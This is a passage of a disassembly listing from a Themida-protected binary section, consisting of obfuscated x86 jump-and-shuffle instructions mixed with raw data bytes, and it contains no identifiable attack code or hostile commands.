edi add edx, 375A3C71h jmp loc_549C52 ; --------------------------------------------------------------------------- db 66h, 21h, 4 dd 7DE99C24h, 58FFFFC7h, 4DA6E9h, 24048F00h, 2404FE5Ch dd 0C76AE99Ch, 0C380FFFFh, 0FFDE8860h, 0E95B2434h, 6BE9h dd 2CBBh, 8BDA8900h, 0C481241Ch, 4, 370E6850h, 90E95860h db 0D2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A7B3: ; CODE XREF: Themida_:005494CEj add edi, 4 xchg edi, [esp] pop esp jmp loc_547E16 ; --------------------------------------------------------------------------- dw 565Ah dd 0B964A9BEh, 35B8500Bh, 2D6FB574h, 371B0447h, 0A55C002Dh dd 4E8C167h, 0C754762Dh, 9235404Eh, 0E94A0167h, 0FC8h dd 688FC681h, 21E97EFDh db 4Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7F7: ; CODE XREF: Themida_:0055200Bj add [ecx], ebx pop ecx mov ebx, [esp] add esp, 4 loc_54A800: ; CODE XREF: Themida_:00547873j push 7398h jmp loc_551F65 ; --------------------------------------------------------------------------- aLwveOV4s@ db '¿lw‚e-o',1Bh,'V4é:@',0 db 0 ; --------------------------------------------------------------------------- loc_54A819: ; CODE XREF: Themida_:00552A20j sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 jmp loc_54FFFC ; --------------------------------------------------------------------------- loc_54A82E: ; CODE XREF: Themida_:0054BD05j xor esi, [esp] pop esp add esp, 4 sub eax, 659A73E1h push edx push 1D2Bh mov [esp], ecx mov ecx, 17FB18EDh mov edx, ecx jmp loc_55189D ; --------------------------------------------------------------------------- db 0ADh dd 299E951h, 0EE800000h, 0F7885311h, 34D4E9h, 5BB25200h dd 0EA80D2F6h, 5AD58887h, 5966E828h, 0FFEF22E9h, 0C67AE9FFh dd 0C481FFFFh, 4, 4BF5753h, 89000000h, 243C8BFBh, 0FFF7E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A891: ; CODE XREF: Themida_:00549F97j jmp loc_546EF4 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 52DEB551h, 0B3537FB6h, 35F380C1h, 805BDE08h, 0DEF6D8F6h dd 35C680h, 74DE9F5h, 33FF0000h, 3A243481h, 8B48D415h dd 0C4812404h, 4, 2CEABA52h, 5E9426Ch, 28000047h, 0EB805AF3h dd 0E32E914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A8E2: ; CODE XREF: Themida_:0054776Fj mov [esp], esi push 326208F5h jmp loc_54942E ; --------------------------------------------------------------------------- aIS2w db ')Ú[‰×é2w',0 dd 75E95B00h, 0F7000055h, 0E95A2414h, 0FFFFFBCEh ; --------------------------------------------------------------------------- loc_54A908: ; CODE XREF: Themida_:005489D1j push dword ptr [esp] pop edx jmp loc_54BB16 ; --------------------------------------------------------------------------- db 81h, 0F6h, 35h aSJ db ',Þ¾é-j',0 align 4 dd 24048B54h, 3712E9h, 0D830AC00h, 42E95266h, 8BFFFFD8h dd 68662424h, 29660000h, 5966240Ch, 8AF18166h, 0C82966EBh dd 6DBFE959h, 0C0830000h, 24048702h, 17D3E9h, 80C32800h dd 7DE949EBh db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A95F: ; CODE XREF: Themida_:0054F13Bj push 1DEBh jmp loc_550C8F ; --------------------------------------------------------------------------- loc_54A969: ; CODE XREF: Themida_:00549C8Bj mov edi, 3CB73ED1h jmp loc_551111 ; --------------------------------------------------------------------------- loc_54A973: ; CODE XREF: Themida_:00547AA6j pop edx jmp loc_54CB0A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 4C48358h, 7B2DEA81h, 0F2015E53h, 7B2DC281h, 815E5E53h dd 2C2h, 24148700h, 243CD35Ch, 0C552E99Ch, 2C8BFFFFh, 4C48324h dd 4BB53h, 0EC810000h, 4, 0E9243489h, 2F90h, 7436E781h dd 5DE90C99h, 1FFFFE3h, 41C781DFh, 81377269h, 541D39C7h dd 0D4C7E972h, 0C481FFFFh, 4, 0B60FC330h, 0F0F4E9C0h, 0EC83FFFFh dd 240C8904h, 2A88FD88h, 53240C8Bh, 0C381E389h, 4, 4C381h dd 1C870000h, 1C8B5C24h, 3307E924h, 0D0010000h, 5839BD55h dd 0E8010ECBh, 95685A5Dh, 89000054h, 3DE9240Ch, 80000039h dd 0B6E9F3EFh db 0CEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA33: ; CODE XREF: Themida_:0054816Cj xor ebx, 9D910D85h xor ecx, ebx pop ebx jmp loc_54F1B0 ; --------------------------------------------------------------------------- loc_54AA41: ; CODE XREF: Themida_:0054ED44j pop esp push esi mov esi, 70756AAFh push ebp mov ebp, esp jmp loc_54D657 ; --------------------------------------------------------------------------- loc_54AA50: ; CODE XREF: Themida_:0054EDC1j add edi, esi pop esi xchg edi, [esp] mov esp, [esp] jmp loc_551403 ; --------------------------------------------------------------------------- loc_54AA5E: ; CODE XREF: Themida_:00548DA9j shl ecx, 7 add ecx, 0E64F999Ch push edx push esi mov esi, 632B74D0h neg esi not esi xor esi, 10DE0217h jmp loc_550E3F ; --------------------------------------------------------------------------- db 68h, 41h, 6Eh dd 0A5E90000h, 0B8000031h, 328E3860h, 8E385C2Dh, 58C28932h dd 23B46855h, 0C4E96F95h, 6600005Dh, 5002B60Fh, 405E089h dd 57000000h, 4265B951h, 0CF894DF0h, 0FFE3D1E9h, 240489FFh dd 242C8156h, 7A185C35h, 0EEE95658h db 0C4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AACB: ; CODE XREF: Themida_:0054CAEEj add esi, 4 push eax mov eax, 4 sub esi, eax pop eax xchg esi, [esp] pop esp jmp loc_54EF26 ; --------------------------------------------------------------------------- aXbcB_Sy db 'XæÕb.',1Bh,'éy',0 db 2 dup(0), 68h dd 1D11h, 0BF243C89h, 23DF2631h, 685FF989h, 48A6h, 0BD242C89h dd 59813CF1h, 0FFF2CCE9h, 632D68FFh, 4890000h, 7EC1B824h dd 0C72971AAh, 14E95E58h db 0F5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AB27: ; CODE XREF: Themida_:00551F21j add edx, 457325D1h mov esi, [esp] jmp loc_5498E4 ; --------------------------------------------------------------------------- db 31h, 0FAh, 5Fh dd 8B284805h, 57D00106h, 8B2848BFh, 0E9F82906h, 6D6Fh dd 56664366h, 5E45BE66h, 4561E9h, 0C8B6600h, 0E7895724h dd 0E904EC83h, 0FFFFF3C1h, 5CA4F681h, 842D7316h, 2D6B5329h dd 74AC264Dh, 4D05F001h, 5574AC26h, 0B9228ABDh, 0FAC58124h dd 1469A06h, 685E5DE8h, 30E4h, 6B3FE9h, 5FFB0100h, 0F57EBE56h dd 0F3293D8Ch, 22EA815Eh, 0E94C0137h, 0FFFFEB29h, 70E903B1h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ABB7: ; CODE XREF: Themida_:00550A22j pop edx push ebp mov ebp, esp add ebp, 4 push ebx mov ebx, 6519731Fh or ebx, 81D0818h jmp loc_54BF43 ; --------------------------------------------------------------------------- dw 0E950h dd 0FFFFCAF8h, 0B8240489h, 147A04E5h, 0FFFFBB53h, 0D7E9FFFFh db 6Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ABEB: ; CODE XREF: Themida_:005519F7j push small 19AFh mov [esp], dx jmp loc_552A71 ; --------------------------------------------------------------------------- loc_54ABF8: ; CODE XREF: Themida_:0054D54Fj sub esi, edi pop edi and esi, 17837A5Dh not esi not esi jmp loc_54EB97 ; --------------------------------------------------------------------------- loc_54AC0A: ; CODE XREF: Themida_:00547485j mov eax, 791C26EAh add edi, eax pop eax sub edi, 465754D1h shr edi, 2 xor edi, 4C440FDCh jmp loc_54EC4C ; --------------------------------------------------------------------------- loc_54AC26: ; CODE XREF: Themida_:0054AE07j push ecx mov ecx, 4 add ebx, ecx pop ecx sub esp, 4 jmp loc_547D92 ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 7194E924h, 77FF0000h, 59669D1Ch, 241CD366h dd 0C2A2E99Ch, 0D0F7FFFFh, 0E525D8F7h, 0E9756C02h, 0FFFFF64Fh dd 81E78957h, 4C7h, 0D165E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AC6E: ; CODE XREF: Themida_:0055101Cj add edx, 9AE298BDh jmp loc_549B02 ; --------------------------------------------------------------------------- db 88h, 0EFh, 8Bh dd 0C483240Ch, 66F80004h, 4AC6E95Bh, 8B660000h, 8E92404h db 0DAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AC93: ; CODE XREF: Themida_:0054C4F8j xchg ebp, [esp] mov esp, [esp] mov [esp], esi jmp loc_54FA54 ; --------------------------------------------------------------------------- db 31h, 0D7h, 5Ah dd 55FF801h, 4, 0FFD259E9h, 58C301FFh, 8704EB83h, 248B241Ch dd 24148924h, 0D6ACE954h, 0E389FFFFh, 4C381h, 0C3810000h dd 4, 2474FF53h, 48F5B04h, 5F095C24h, 2434FF1Ch db 5Bh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_546EF4 ; --------------------------------------------------------------------------- loc_54ACFD: ; CODE XREF: Themida_:0054ADD4j pop edx jmp loc_54F2D5 ; --------------------------------------------------------------------------- db 87h dd 0E95C2404h, 1B34h, 5BDF295Ah, 58B5BE56h, 0E946363Ah dd 3E66h, 3C8BF989h, 4C48324h, 6CC5E181h, 0C981337Eh, 0F61539Eh dd 3EBEE9h, 4BF00h, 0FD010000h, 0FFD413E9h, 9BE945FFh dd 0C1000047h, 0D0F708E0h, 2D03E0C1h, 405E6268h, 0E958C201h dd 0FFFFC53Ch, 405E089h, 83000000h, 48704E8h, 0C895C24h dd 34FF5424h, 0C4815924h, 4, 72F3E9h, 4EE8100h, 56000000h dd 42474FFh, 24048F5Eh, 2404895Ch, 30FCE9h, 4F80000h, 60E95BFAh db 0Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AD9F: ; CODE XREF: Themida_:0054A369j add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] jmp loc_5521BE ; --------------------------------------------------------------------------- db 8Bh, 1Ch, 24h dd 3104C483h, 0DEA9E9C8h, 0E6BBFFFFh, 571C224Ah, 17ABE9h db 0 ; --------------------------------------------------------------------------- loc_54ADD1: ; CODE XREF: Themida_:005471DDj mov esi, edi pop edi jmp loc_54ACFD ; --------------------------------------------------------------------------- db 81h, 0CFh, 0A3h dd 874BBB4Fh, 57D3F7DFh, 505B5F53h, 0AFFC78B8h, 58C731A0h dd 10314D2Dh, 5F82964h, 6410314Dh, 0E9D8295Fh, 0FFFFC916h ; --------------------------------------------------------------------------- loc_54AE04: ; CODE XREF: Themida_:0054D1AFj push ebx push esp pop ebx jmp loc_54AC26 ; --------------------------------------------------------------------------- loc_54AE0C: ; CODE XREF: Themida_:005497DDj add bl, dh sub bl, 9Fh add bl, 2Ah jmp loc_551F35 ; --------------------------------------------------------------------------- aQs@ db 'QéÔ@',0 dw 0BE00h dd 4B737947h, 1C9BCE81h, 0BB5361E3h, 17894CC3h, 7858CB81h dd 0E3814518h, 605D705Eh, 5355D3F7h, 64051668h, 0EBC15B2Eh dd 1BC38106h, 893DB6E4h, 0EB295BDDh, 0E9242C8Bh, 69C9h ; --------------------------------------------------------------------------- loc_54AE5C: ; CODE XREF: Themida_:005529F3j sub edi, eax mov eax, [esp] jmp loc_5506DF ; --------------------------------------------------------------------------- dw 0C681h dd 1E711AC0h, 0EE81DE01h, 1E711AC0h, 0FFC5ABE9h, 243C87FFh dd 6624248Bh, 0E9240489h, 608h, 8B24048Fh, 0F662424h, 9C2404B3h dd 0FFC05BE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AE99: ; CODE XREF: Themida_:0054867Cj sub ch, 0C3h jmp loc_548023 ; --------------------------------------------------------------------------- loc_54AEA1: ; CODE XREF: Themida_:00548FEDj mov edi, edx pop edx mov ebx, edi jmp loc_552D1A ; --------------------------------------------------------------------------- db 81h dd 4C3h, 241C8700h, 23DE685Ch, 3C890000h, 505F5424h, 4FDF6856h dd 815E340Eh, 0FC7D4BF6h, 5EF08976h, 0F232902Dh, 0E660E942h dd 0C481FFFFh, 4, 2404FF53h, 0EB81435Bh, 75182DC0h, 268FC381h dd 0D9897CA9h, 0FFFEC0E9h, 5E959FFh, 1000024h, 1947E9DFh dd 0E9210000h, 31A8E9h, 2B900h, 0CE010000h, 24343359h dd 33243431h, 248B2434h, 2404D224h, 0BFCAE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AF2A: ; CODE XREF: Themida_:00551690j mov ecx, [esp] jmp loc_54ED0A ; --------------------------------------------------------------------------- dw 15Dh dd 0EC832404h, 24148904h, 3542BF57h, 0FA893051h, 0FFCE2EE9h dd 2434FFFFh, 8124048Bh, 4C4h, 4EC8300h, 89243C89h, 4C781E7h dd 51000000h, 0FFF5DAE9h, 148966FFh, 0E83EE924h, 8745FFFFh dd 0E2814AEAh, 540C406Ah, 28685642h, 0E917BF22h, 1491h dd 0E9EE885Bh, 2398h ; --------------------------------------------------------------------------- loc_54AF90: ; CODE XREF: Themida_:0054DE5Fj mov ebp, 774D5D72h mov edi, 0A280BEB8h add edi, ebp pop ebp sub edi, 472C634Fh and edi, 67817E1Fh jmp loc_54C43C ; --------------------------------------------------------------------------- dw 0C581h dd 4, 4C581h, 2C870000h, 0C5815C24h, 4, 5002C583h, 79E95854h dd 0B8000000h, 7BBB484Dh, 0DC16F92Dh, 58C1216Ah, 0A1EF181h dd 0E9811BF2h, 7E1D48AAh, 34FFCA29h, 240C8B24h, 4C481h dd 7CE90000h, 80FFFFEFh, 53519BC5h, 24E9A9B7h, 5AFFFFFAh dd 806EC580h, 0EB28CDF5h, 0B2525159h, 5AD58827h, 0E580C5FEh dd 5E5C059h, 45C580h, 0EB8059EBh, 80C32896h, 0EB8096C3h dd 79E95145h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B037: ; CODE XREF: Themida_:0055106Fj mov esi, edx pop edx pop ebp jmp loc_5525F2 ; --------------------------------------------------------------------------- dd 0E904C183h, 535Ah, 405h, 4E88300h, 4B73E9h, 1F42B900h dd 0C8212D50h, 0E9FCE959h, 34FFFFFFh, 3826E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B06A: ; CODE XREF: Themida_:00547B25j add esp, 4 sub esp, 4 mov [esp], edx push 54EBh mov [esp], esp push ecx jmp loc_54F60A ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 2C18E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B08A: ; CODE XREF: Themida_:00548442j add ebp, 4 xor ebp, [esp] jmp loc_5509DE ; --------------------------------------------------------------------------- loc_54B098: ; CODE XREF: Themida_:0055180Aj push small 1667h mov [esp], cx mov cl, 0EDh sub al, cl mov cx, [esp] add esp, 2 add al, 28h jmp loc_54B2D9 ; --------------------------------------------------------------------------- aF1SV db 'f1Ùé',0Dh,'v',0 align 2 dw 0EC81h dd 4, 68240489h, 59894630h, 8324048Bh, 0B73504C4h, 0C175AB53h dd 0D3E905E0h db 76h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B0DB: ; CODE XREF: Themida_:00547067j or eax, eax jmp loc_5493FF ; --------------------------------------------------------------------------- dw 0B8B1h dd 805FB151h, 0E9C066C9h, 82F18004h, 0C180C9FEh, 59CB00EEh dd 0DE9CB00h, 81000018h, 4ECh, 241C8900h, 45A4E9h, 2434FF00h dd 6AABE95Eh, 0C8010000h, 0C95DE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B11E: ; CODE XREF: Themida_:00548357j jmp loc_546EF4 ; --------------------------------------------------------------------------- db 83h dd 3C8904ECh, 58FBF24h, 0F8011ED4h, 6169E95Fh, 0EB800000h dd 83C300F7h, 148904ECh, 0F091E924h, 0ECBEFFFFh, 0E92E714Bh dd 868h ; --------------------------------------------------------------------------- loc_54B150: ; CODE XREF: Themida_:0054ECFDj mov esp, [esp] push dword ptr [esp] pop eax push ebx sub esp, 4 push esp pop dword ptr [esp] push esi mov esi, 4 add [esp+4], esi jmp loc_54D88A ; --------------------------------------------------------------------------- dw 0EA81h dd 0E556D369h, 842C681h, 0D6292EF2h, 5D0E9h, 52E78900h dd 0C281E289h, 4, 0E904EA83h, 0FFFFC71Bh, 6624248Bh, 9C2404FFh dd 0FFECE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54B1A1: ; CODE XREF: Themida_:0054C568j add esp, 4 jmp loc_55261A ; --------------------------------------------------------------------------- loc_54B1A9: ; CODE XREF: Themida_:0054EA8Ej mov [esp], ebx jmp loc_54F883 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 4C481h, 89530000h, 4C381E3h, 81000000h, 4C3h, 241C8700h dd 2C2815Ch, 0E9000000h, 690Ah, 240C8B66h, 2C1B6852h, 8F540000h dd 4832404h, 0F6E90424h, 8300000Ah, 148704C2h, 0EC815C24h dd 4, 45C7E9h, 58E53000h, 0FFFDF2E9h, 24048BFFh, 46C968h dd 243C8900h, 0FFC33BE9h, 0C58851FFh, 0E888D5F6h, 0E9140C59h dd 45DEh, 0FF2434FFh, 0C8B2434h, 4C48324h, 4C481h, 89510000h dd 4C181E1h, 0E9000000h, 0FFFFFE72h ; --------------------------------------------------------------------------- loc_54B248: ; CODE XREF: Themida_:0054C02Cj not cl jmp loc_5492FC ; --------------------------------------------------------------------------- loc_54B24F: ; CODE XREF: Themida_:0054CDDCj pop ebp add edi, 5FAB7785h shr edi, 1 inc edi add edi, 0BA0156A4h mov edx, edi push dword ptr [esp] mov edi, [esp] add esp, 4 add esp, 4 jmp loc_547F30 ; --------------------------------------------------------------------------- db 81h, 0C2h, 4 dd 81000000h, 4C2h, 24148700h, 0FFF3D7E9h, 0DBF758FFh dd 734EEB81h, 0D801AFF7h, 48D0F75Bh, 5B15E9h, 81F50100h dd 0AA1661C5h, 5FED8116h, 5E2E9557h, 31242C33h, 0E0E9242Ch dd 0FFFFFFF1h, 5E042474h, 5C24048Fh, 786BE9h, 24148900h dd 88A3B753h, 0C6865BFEh, 0C686D0F6h, 0FFBD0DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54B2D9: ; CODE XREF: Themida_:0054B0ADj add al, dh sub al, 28h jmp loc_547345 ; --------------------------------------------------------------------------- dw 0E946h dd 0FFFFDF46h ; --------------------------------------------------------------------------- loc_54B2E8: ; CODE XREF: Themida_:0054E9A8j pop ecx add ecx, edi push edx mov edx, 0 add edx, ecx jmp loc_54F8F8 ; --------------------------------------------------------------------------- dd 240C8B66h, 0FFD473E9h, 0FC909FFh, 59CC84h, 4EC8100h dd 89000000h, 56682424h, 89000018h, 0B951241Ch, 19530CF2h dd 4EE18149h, 812A2635h, 4A1458C1h, 81D9F713h, 3C19CDE1h dd 44E9810Dh, 89043001h, 4F29E9CBh, 0D7310000h, 8124148Bh dd 4C4h, 2C815700h, 0F578724h, 0C1815955h, 550F5787h, 59CE295Fh dd 4D4DE9h, 0F7D98700h, 8BC181D1h, 0E9705B6Ah, 31D0h, 0D422B835h dd 5E8C167h, 4835D8F7h, 31D1E80Ah, 0D9F758C1h, 24146849h dd 7BE90000h, 1FFFFCFh, 4DEA81DAh, 567CE20Ah, 7B73C2BEh dd 5EF22956h, 83241C8Bh, 5AE904C4h, 1000056h, 49EA81C2h dd 0E97CB63Ch, 5AA1h, 0E9028F64h, 0FFFFBB30h, 42474FFh dd 24048F5Dh, 61EAE9h, 59CF0800h, 0C0B4C780h, 0F78008E7h dd 57C7808Dh, 88F98851h, 1C8B59CEh, 4C48324h, 9E9F030h db 22h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54B3F3: ; CODE XREF: Themida_:005495B9j xchg edi, [esp] pop esp mov [esp], eax mov eax, esp add eax, 4 sub esp, 4 mov [esp], esi mov esi, 4 add eax, esi pop esi xchg eax, [esp] pop esp and eax, ebp jmp loc_54E0F2 ; --------------------------------------------------------------------------- db 51h, 0B1h, 8Eh dd 8001E980h, 0D186FEC9h, 0D186CAFEh, 0FECBC980h, 0BEBBE9C1h dd 0C381FFFFh, 0F9E06DD2h, 15BD801h, 2A1EE9E8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B446: ; CODE XREF: Themida_:005479C8j xor edi, 265C6457h jmp loc_54BD19 ; --------------------------------------------------------------------------- aISe db '‰Ñé¥',27h,0 align 4 dd 9D1C77FFh, 1CD25966h, 8DE99C24h, 89FFFFBAh, 0C7BB53E7h dd 810E7234h, 0F269A7CBh, 2CE38134h, 0C10BB437h, 0F38104E3h dd 8550191Ah, 0C0C38143h, 0E944315Bh, 28E3h, 0C230D7B0h dd 168CE9h, 24143300h, 0E9241431h, 3A0Eh ; --------------------------------------------------------------------------- loc_54B4A4: ; CODE XREF: Themida_:00549FD5j push ebx mov ebx, 28811A9Dh mov eax, 7AAC511Dh sub eax, ebx mov ebx, [esp] jmp loc_54C0C6 ; --------------------------------------------------------------------------- loc_54B4B9: ; CODE XREF: Themida_:0054E903j pop ebp add ebp, ecx pop ecx push edi mov edi, 3C2769DDh sub ebx, edi pop edi sub ebx, ebp add ebx, 3C2769DDh mov ebp, [esp] jmp loc_54D958 ; --------------------------------------------------------------------------- dw 575Fh dd 0AC0B63BFh, 6B10E965h, 0C6810000h, 4, 0E904C683h, 15E6h dd 2EC81h, 89660000h, 7EE92414h, 0FFFFFFDFh, 0C8B2434h dd 49146824h, 2C890000h, 6517E924h, 0BCB90000h, 29046678h dd 2C8B59CEh, 4C48324h, 0C681C601h, 30F87CB4h, 382268h dd 242C8900h, 824D05BDh, 0ED43E945h, 0FCB9FFFFh, 0E9000003h dd 318Fh, 9D41F781h, 0A02D409Fh, 572C419h, 7A3211BDh, 0BD2DF829h dd 0E97A3211h, 30AEh ; --------------------------------------------------------------------------- loc_54B560: ; CODE XREF: Themida_:005499F0j pop dword ptr [edi+20h] pop eax push edx mov edx, 3E552A09h sub [edi+20h], edx jmp loc_54EA14 ; --------------------------------------------------------------------------- loc_54B572: ; CODE XREF: Themida_:0054FC0Bj mov eax, esp jmp loc_54B728 ; --------------------------------------------------------------------------- loc_54B579: ; CODE XREF: Themida_:005528ACj sub ebp, 12145575h sub ebp, edi push esi mov esi, 452C230Dh sub esi, 3317CD98h add ebp, esi pop esi push dword ptr [esp] jmp loc_54F75B ; --------------------------------------------------------------------------- dd 42474FFh, 0E9241C8Bh, 3CC7h, 815AD631h, 0B03C54EAh dd 0E9F2015Ch, 6FADh, 0D6C78147h, 3113A6F7h, 0F5295FFEh dd 6824348Bh, 946h, 89240489h, 405E0h, 0C0830000h, 0DDE9E904h dd 0EF81FFFFh, 4, 0FFCDA3E9h, 515A54FFh, 402DE9h, 63F28100h dd 5867CD2Fh, 815AD331h, 437DBCC6h, 0E9DE015Fh, 72F9h ; --------------------------------------------------------------------------- loc_54B604: ; CODE XREF: Themida_:0054E8BBj push edx mov edx, 3C1E005Ch or ebp, edx pop edx and ebp, 220B62h sub ebp, 0AB31E994h sub ebx, 3A8C0A48h add ebx, ebp add ebx, 3A8C0A48h jmp loc_54F93A ; --------------------------------------------------------------------------- loc_54B62C: ; CODE XREF: Themida_:0054EA04j mov [esp], ecx push eax mov ah, dl mov cl, ah pop eax sub esp, 4 mov [esp], edx mov dh, cl mov [edi+eax*4], dh pop edx jmp loc_54F975 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9242C89h, 0FFFFD77Ah, 5903E957h, 4BD0000h, 1000000h dd 0C875DE9h, 24248B24h, 582434FFh, 5DACE957h, 6B680000h dd 89000013h, 42BE2434h, 836CA66Ah, 0DEF701EEh, 592EE9h dd 24148900h, 61E99C50h, 0B1FFFFB8h, 59C888A7h, 5258C628h dd 0F00079B6h, 0CDB2E95Ah, 4BAFFFFh, 1000000h, 0C3835AD3h dd 241C8704h, 1EC0E9h db 0 ; --------------------------------------------------------------------------- loc_54B6B9: ; CODE XREF: Themida_:0054CB66j pop esp push ebp jmp loc_54E118 ; --------------------------------------------------------------------------- loc_54B6C0: ; CODE XREF: Themida_:0054BBE5j or ebp, 113C7257h push edx mov edx, 44504BD9h xor ebp, edx pop edx add edi, ebp jmp loc_54EDC6 ; --------------------------------------------------------------------------- loc_54B6D6: ; CODE XREF: Themida_:00550973j not dword ptr [esp] mov eax, [esp] push 41ECh mov [esp], esi jmp loc_550492 ; --------------------------------------------------------------------------- loc_54B6E9: ; CODE XREF: Themida_:0054FB42j mov esi, 4 jmp loc_54820C ; --------------------------------------------------------------------------- loc_54B6F3: ; CODE XREF: Themida_:005509E4j mov esp, [esp] jmp loc_54C412 ; --------------------------------------------------------------------------- loc_54B6FB: ; CODE XREF: Themida_:0054C0F7j mov [esp], eax push esp pop eax push ecx mov ecx, 13C263FBh add ecx, 1 and ecx, 3F3F2F39h jmp loc_548316 ; --------------------------------------------------------------------------- aPAYs_ db '(ÃP´Å€Äyé~_',0 db 0 ; --------------------------------------------------------------------------- loc_54B721: ; CODE XREF: Themida_:005499B4j neg ebp jmp loc_548EA3 ; --------------------------------------------------------------------------- loc_54B728: ; CODE XREF: Themida_:0054B574j add eax, 4 jmp loc_552A51 ; --------------------------------------------------------------------------- aHsmi db '·Hémi',0 dd 81E38900h, 4C3h, 4C38300h, 915E9h db 0 ; --------------------------------------------------------------------------- loc_54B749: ; CODE XREF: Themida_:005523B2j inc ebp not ebp jmp loc_54DCD4 ; --------------------------------------------------------------------------- db 81h, 0EEh, 42h dd 5A2EF208h, 959E9h, 833B000h, 0EFC058C7h, 50D7F603h dd 99B45052h, 48BE288h, 4C48324h, 0D430F2B4h, 1430E95Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B77E: ; CODE XREF: Themida_:005521F7j sub eax, 1BF16FC3h pop edx sub eax, 4 jmp loc_547206 ; --------------------------------------------------------------------------- dw 8B66h dd 0EC832404h, 24048904h, 0BCE95854h, 8300006Bh, 0E9042404h dd 5CC2h ; --------------------------------------------------------------------------- loc_54B7A8: ; CODE XREF: Themida_:005513B9j mov ebx, 73EC1696h add edx, ebx jmp loc_54CFB9 ; --------------------------------------------------------------------------- dd 0E958C601h, 0FFFFC7ABh db 0ADh, 31h, 0D8h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_547B2A ; --------------------------------------------------------------------------- db 0BBh, 65h, 68h dd 5C014822h, 0E2E90424h, 2900005Eh, 0BB535FF8h, 2D878C0h dd 0E95BD821h, 73E0h ; --------------------------------------------------------------------------- loc_54B7F8: ; CODE XREF: Themida_:0054FC6Ej or eax, eax jz loc_54BE38 push dword ptr [edi+1Ch] push esi jmp loc_54C253 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 3772E9h, 5F00100h, 34A651BAh, 2DF8295Eh, 769A12CEh dd 68243C8Bh, 2AABh, 89243C89h, 0FCBA52E7h, 4234474Dh dd 4DF9F281h, 0EF813447h, 1C4E69ABh, 0C781D701h, 1C4E69ABh dd 33EDE9h, 4C48100h, 0E9000000h, 0FFFFE19Dh ; --------------------------------------------------------------------------- loc_54B858: ; CODE XREF: Themida_:00551B64j add esp, 4 add esp, 4 and eax, ebp pop ebp or edx, eax shl edx, 1 push ebx jmp loc_54F35B ; --------------------------------------------------------------------------- loc_54B86E: ; CODE XREF: Themida_:00552016j push ecx mov ecx, ebp mov edi, ecx mov ecx, [esp] jmp loc_54F3BD ; --------------------------------------------------------------------------- db 1 dd 0E98358C1h, 240C8704h, 0CE74E95Ch, 34FFFFFFh, 1BDEE924h dd 8B660000h, 0EC81240Ch, 4, 89241C89h, 6923E9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B8A6: ; CODE XREF: Themida_:005476F5j add ecx, 0D81A196Ch sub edi, ecx pop ecx sub edx, edi pop edi or edx, 493F302Dh shl edx, 2 push 6228h mov [esp], edi mov edi, 5BDF49D1h jmp loc_54F5C7 ; --------------------------------------------------------------------------- db 33h, 4, 24h dd 1DE95A5Ch db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54B8D7: ; CODE XREF: Themida_:0054F149j push ecx mov ecx, 0FFFFFFFFh jmp loc_549F14 ; --------------------------------------------------------------------------- dw 835Bh dd 3C8704C7h, 34FF5C24h, 2434FF24h, 0E3895358h, 4C381h dd 0ACE90000h, 52FFFFF5h, 0EE801AB6h, 80CEFE14h, 0C68001C6h dd 0DCE1E901h, 0D15FFFFFh, 4AC381E3h, 2DF5CF27h, 0B8A7701h dd 105D829h, 5B0B8A77h, 19FE6859h, 3C890000h, 9600BF24h dd 0BE563FA7h, 769A12CEh, 0FFE338E9h, 0C8B66FFh, 2C48124h dd 5A000000h, 808EC380h, 0C3004CEBh, 968E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54B95A: ; CODE XREF: Themida_:0054F8DCj xchg edi, [esp] pop esp mov [esp], edi push ebp push 412E1280h jmp loc_548213 ; --------------------------------------------------------------------------- dd 4EC8358h, 0BE243489h, 0FFFFFFFFh, 0C15EF501h, 814502E5h dd 5A86E1C5h, 5DEE2925h, 2F54E9h, 24548A00h, 245C8804h dd 241C8B04h, 8904EC83h, 0EE92434h, 5400005Dh, 0FFD5EEE9h dd 240C89FFh, 0FFB543E9h, 0E9505DFFh, 6B2h, 464ED6F7h dd 4DA2E9h db 0 ; --------------------------------------------------------------------------- loc_54B9C1: ; CODE XREF: Themida_:0054E8A5j sub ebx, 25007623h jmp loc_54C00F ; --------------------------------------------------------------------------- dd 9571E8B8h, 0DD8F756h, 14933E10h, 2645E9h, 